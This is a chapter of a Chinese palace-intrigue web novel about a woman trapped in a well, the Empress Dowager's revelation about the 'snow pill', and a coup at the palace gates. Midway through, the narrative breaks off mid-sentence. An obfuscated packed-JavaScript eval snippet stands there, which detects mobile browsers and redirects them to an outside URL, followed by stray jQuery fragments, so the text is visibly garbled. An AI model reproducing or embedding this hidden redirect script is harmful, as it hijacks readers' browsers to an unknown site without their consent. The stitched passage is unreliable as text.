“阿姻。”
裴姻宁猛然睁开眼。
她向面前抓去,却抓了个空。
沁凉的夜风钻入衣袖,她慢慢缩回双臂,原本不算单薄的衣服在此时起不到一点保暖的作用。
过了多久?两个时辰,还是三个时辰?都产生了会有人来救她的幻听。
裴姻宁突然有种感觉,自己好像在不夜症之前,会死在这里。
自己是不会莫名其妙地犯睏的,在这种井底想睡,不是个好兆头。
不,不能睡。
她拔下簪子,轻轻扎了一下自己的指尖,刺痛让她暂时维持清醒。
裴姻宁莫名想到了郁骧。
如果她要是死在这儿,一时半会还真没办法拉着鹿门侯府下水,说不准那家伙就顺理成章地成为了侯府的“世子”。
她咬了咬唇。
“你等着吧,我会活着把雪丹带出去……”
…………
隔着一层帘幕,郁骧和天后安静地对视着。
他曾在幼弱时和原野上的狼群对峙,深知面对远比自己庞大、强悍的存在时,不应该移开目光,否则就会马上被撕咬。
可他眼前的远不是择人而噬的凶手,而是隐藏在云层后的风暴、雷霆。
显然,天后在第一次被他威胁后不久,就知道了他的来历。
或许是那时和裴姻宁同样秋水色的袖摆,或许是他身上沾染着的贵族熏香,雪泥鸿爪,草蛇灰线,落在这位年长者的眼里,就足以勾勒出了他的来历,他的意图。
然后,施以一个他拒绝不了的条件。
“你知道我的来历,知道我藏身何处,为什么不杀了我?”郁骧问道。
“孩子,你以为我会在乎你异族的生父?以为我会认为,你的血脉侮辱了大漓皇室的高贵?”
天后慈和地笑了。
“以缘儿的性子,她应该告诉你,尔血尔骨,皆出母身,我又怎么会不认你?”
郁骧没有天真到认为天后接纳了他。
只不过,他的身份,他的血脉,刚刚好能帮助大漓稳住刚刚收服的天疆。
因此,天后从奚昂那里采纳了这个建议,让他承袭朔凉王的名头。
郁骧看向天后手中的雪丹。
“所以,这是你的认可?”
“你可以这样认为,放开他,雪丹就是你的。弑君,不是你这个年纪该承担的罪名,你有更大的用处。”
郁骧:“我不是为了被你所用,才来到这里的。”
“你难道不想继承你母亲的遗志,回归大漓?”
郁骧眼神微敛,他看着地上的皇帝,道:“你的时间不多,如果回归的是他的大漓,她只会失望。”
“孩子,你看到了什么?”
“帝京内,他庇佑的贵族俯首称臣,帝京外,贵族们悄悄裂土分疆。”
“你在的时候,勉强称之为所有大漓人的盛世,你辞世后,则是他们的盛世。”
“……”
“她死前,最后的愿望,是想让大漓人和狁族人都过上好日子。”他毫无避讳,“但你死之后,所有人,都不会好过。”
天后的手上仍然拿着那把玉刀,即便它上面的预言已经消失,但也刻在了天后的眼底。
——日坠星沉,乱自尘生,天下翻覆。
她和漓缘爱这片疆域和苍生远胜一切,她们压下爱恨,将脚下大地的盛世推至巅峰,可力竭之后,回望身后,却没有一个能如她们这样的人去承接责任。
郁骧的话是残忍的,也是他这一路从北方颠沛流离以来,双目所见的真实。
“是啊,我们在世的岁月,都太短了。”
天后沉默了许久,只是将雪丹递过去:“拿着吧,朔凉王的敕封,我会交给奚昂,也许你很快会改变想法。”
郁骧没有去接天后手中的雪丹,但他弑君的手还是停了下来,冰冷的视线盘桓在地上另一枚血色的丹药上,道出了纠结在心头的疑问。
“为什么服用了雪丹的人那么多,都曾消解了病痛,可‘她’却死了?”
他曾以为雪丹是天家的谎言,可它听起来确有奇效,能让人没有病痛。
裴姻宁同样执着于雪丹,哪怕是个虚无缥缈的希望。
天后仿佛透过郁骧的眼睛看到了另一张肖似的面容。
他的确很像漓缘,可他的杀性太重,偏执也太深。
“病痛从未被消解。”天后脸上的慈和淡去了,“雪丹并不能治病,它只会把人的天人五衰,转变为贪嗔痴恨,你的血肉不再痛楚,可心却病了,就像他一样。”
她无喜无悲地看着地上的儿子,作为年逾不惑才登基的天子,他的烦恼丝已有缕缕苍白。
“多疑,躁郁,无能,他将一切寄托于雪丹赐予的那些,不可预测的长生中。”
“他身边的贵族们也一样,吸食着雪丹的残渣,认为这种血脉里的高贵能让他们的子孙永远荫蔽于大漓这株腐木下。”
“你的母亲和朕则相反,我们都不相信这神赐的恩典,雪丹凝造的贪嗔痴恨没有落处,就成了杀人的毒。”
“不过,你可以带走它,裴姻宁足够痴,雪丹能让她好好睡一觉,对于这个年纪的孩子来说,她太疲累了。”
天后没有遮掩自己对裴姻宁的惋惜。
裴姻宁是她见过的,最接近于“她们”的人,一块值得雕琢的璞玉。
可孝悌之义绊住了她。
人之常情,无可指摘,故而惋惜。
“带走它吧,让这最后一颗纠缠了大漓王朝数代的祸物,尘归尘,土归土。”
…………
“陛下已经进去太久了,怎么办,要……杀进去吗?”
宫外的人在等,等一个信号,他们无法确定,天后到底是不是真的驾崩了。
驾崩了,杀进去,就是从龙之功。
如果还活着,踏进去一步,株连九族。
禁军统领纠结之时,大皇子一脸阴沉地带着一个人回来。
是梁贵妃。
“贵妃娘娘,你侍疾左右,天后圣体到底如何?”
梁贵妃抿着嘴,若是放在之前,她愿意挣这份从龙之功,但是现在不然。
皇帝,大皇子,早就在针对他们母子。既然撕破了脸,她自然也不必虚与委蛇。
“我到时,天后只是圣躬违和。”
她这么一说,所有人更是心乱如麻,就在他们生出退意时,韦妃带人托着一碗汤药前来,嘴角挂着冰冷的笑意。
“既然天后指名梁姐姐侍疾,就该亲自送药。放心,事成之后,妹妹愿意捐弃前嫌,将族女送给容煦为侧妃,往后同气连枝,一家和睦,如何?”
梁贵妃目光威严地扫视:“你们真的以为自己赢了吗?”
控制了宫中禁军,如何不赢?
大皇子正要出言逼迫,忽然,他被耳语一阵,脸色倏变。
“郑国公亲自率军护送楚王到宫门前了,说是有人谋反,前来救驾!”
韦妃脸色惨白,厉声斥责大皇子道:“看住了禁军,怎么没看住郑国公的兵马!”
“没事,没事……母妃放心,郑家的人也不是一条心。”大皇子虽然紧张,但是还没有惊惶失措,“我马上……不,派人告诉漓容煦,裴姻宁在我手上,他胆敢进入宫门,就等着给她收尸!”
“可是我们没有抓到……”
“就这么说!能拖一刻是一刻!”、
…………
宫门外,灯火通明,城上城下,禁军与郑国公的凯旋之师彼此对峙。
虞芳菲喘着气赶到时,远远看见,城头上有人朝漓容煦喊话,她虽然听不清楚对方喊了什么,但她看见了对方丢下城楼的一只绣鞋。
她艰难地辨认出来,那是裴姻宁的。
裴姻宁被大皇子的人抓了?!
不对!宫里大皇子的人还在到处搜索裴姻宁,是假消息!
虞芳菲有点焦急,她怕漓容煦被骗,如果顾忌裴姻宁的安危,不敢进军的话,天后和夫子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412701|194145||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就没人解救了。
只是,她正想办法时,却发现城下骑在马上的漓容煦只是沉默了数息,含着某种极致的恨意下令。
“众将士,入宫救驾!”
他没有犹豫。
喊杀声响起的刹那,虞芳菲愣住了。
她从城楼上看着漓容煦影影绰绰埋没在火光中的脸,一时间感到莫大的陌生。
这是她印象中重情重义的漓容煦吗?
好像,从小到大,面对漓容煦种种示好,只有她在一边吃味,但裴姻宁却从来不当回事。
“芳菲,你知道吗?容煦他……其实没有他自己想象得那么痴情。”
裴姻宁一直都是这么说的。
裴姻宁一直没认错人。
她呆立的片刻,一支火箭擦过她的头顶,下一刻,箭矢破空而至,身后突然有人猛地扯了她一把,将她拽下城楼。
“你瞎了吗?都开战了,还站在那里。”
虞芳菲转头一看,又是那张万寿节时熟悉的异族面容,她心乱如麻,推开奚昂。
“你让开,我得去找殿下救裴姻宁!”她说着,心里却没底。
话音一落,奚昂身后一阵勒马声响起。
头顶上的火矢如雨,虞芳菲看见一个高挑的身影,银甲覆面,让她恍惚间,真的看到了玉刀歌里的朔凉王。
“她在哪儿?”
这声音太过冷厉,一时间让虞芳菲没能听出是郁骧的。
奚昂立即用狁族语道:“我们拿到了朝廷的敕封,不要多事!回天疆,趁帝京乱起来,我们才好整合王庭!”
郁骧却置之不理,又执着地重复问道:“她被抓了吗?”
“没、没有,我听到大皇子的人在搜索她,最后是消失在西边废弃的冷宫一带……”虞芳菲吞了吞口水,道,“进不去的,那里已经被禁军包围了!”
郁骧什么也没说,调转马头,奚昂连忙抓住他。
“你没听见吗?那里已经被禁军包围了!”
“听见了。”
“那你还……”
“杀进去。”
…………
深宫夜沉,连最后一点星光都被吞噬。
枯井底,裴姻宁抵在冰冷的井壁上,呼吸微乱。
第三次入睡,又被她强行用簪子把自己扎醒。
“该睡的时候不睡,不该睡的时候……呵。”
她自嘲一笑,从未觉得夜晚如此漫长。
莫名地,小时候记忆里那些冻死在路边的尸骨渐次呈现在眼前,那个人贩子威胁她和其他孩子,说如果她们想着逃走,就会被挂在路边的树上。
冻死的人,不会觉得冷的,先是很想睡,而后全身像烧灼了一样,不过这种痛苦不会太久,因为很快就会进入狼的肚子。
裴姻宁猛然产生一丝怒意,她抬头看了看井口,艰难地想抓住缝隙,可脚踝处钻心的疼痛,让她一下子重新摔坐在地上。
直到井口传来声音。
“都查完了,难道还会躲在井里不成?”
“不会吧,投井了?这么刚烈!”
“说是楚王殿下的心头肉,不然大殿下怎么非要抓她。”
裴姻宁贴住井壁,连呼吸也放轻了。
她倒真没那么刚烈,说不准待在大皇子那边,还能给对方伺机添个乱什么的。
只是没等她想好被捉时的说辞,外面就传来几声混乱的喧哗和惨叫。
“你是……啊!!”
刀刃入肉的声音如此明显,裴姻宁抬头看向井口,银甲折射着月光。
“谁?”
她声音很轻,但对方好像听到了,沉默了片刻,云层覆盖下来,一切归于黑暗间,裴姻宁听到对方从井口翻入,动作轻盈地落在了井底。
裴姻宁本能地缩了缩双脚,但四周太黑,她什么都看不见。相反,这纱幕般的黑暗,对方好像并不在意,或者说早已习惯了,使得那种被盯视的感觉尤其明显。
她不确定地开口:“容煦?”